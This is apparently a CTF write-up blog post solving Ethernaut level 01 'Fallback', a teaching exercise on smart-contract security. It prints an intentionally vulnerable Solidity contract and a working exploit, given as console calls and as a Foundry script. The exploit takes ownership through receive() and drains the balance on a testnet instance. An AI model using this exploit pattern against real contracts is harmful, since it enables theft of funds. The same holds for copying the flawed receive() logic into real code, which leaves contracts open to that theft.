The Ethernaut CTF Solutions | 01 - Fallback
The use of the `receive` and `fallback` functions.

Search for a command to run...
The use of the `receive` and `fallback` functions.

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
The necessity of code reviews and proper testing.
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

Claim ownership of the given contract;
Reduce its balance to 0.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
The contract has a receive function that is called when the contract receives ether without any data.
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
The contract also has a contribute() function that is payable. The contribute() function is supposed to be the only way to send ether to the contract, but the require statement prevents us from doing so and abusing the contract.
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
However, nothing prevents us from sending ether directly to the contract, without using any of its functions. The receive function will then be triggered.
Now, we just have to figure out how to pass the require statement in the receive function.
require(msg.value > 0 && contributions[msg.sender] > 0);
The first part is fairly simple, we just have to send any amount of ETH so the msg.value is greater than 0.
The second part requires us to contribute() first so our balance is greater than 0. That's it. We are the new owner of the contract and all is left is to drain the contract.
Start by contributing to fulfill the require statement in the receive() function
Send some ether to the contract directly to trigger the receive() function
Withdraw all the funds since we are now the contract's new owner!
await contract.contribute({ value: toWei("0.00001") });
await contract.sendTransaction({ value: toWei("0.00001") });
await contract.withdraw();
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
interface IFallback {
function contribute() external payable;
function withdraw() external;
}
contract PoC is Script {
// Replace with your Fallback instance
IFallback fall =
IFallback(payable(0x28cF211dcAff31B4c90aA321E976311f7A09f9FA));
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
fall.contribute{value: 1 wei}();
(bool success, ) = address(fall).call{value: 1 wei}("");
require(success, "Failed to send ether");
fall.withdraw();
vm.stopBroadcast();
}
}
And the script to deploy our contract:
forge script script/01_Fallback.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
🎉 Level completed 🎉
Use of the receive & fallback functions
Never implement critical logic in the fallback/receive function
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/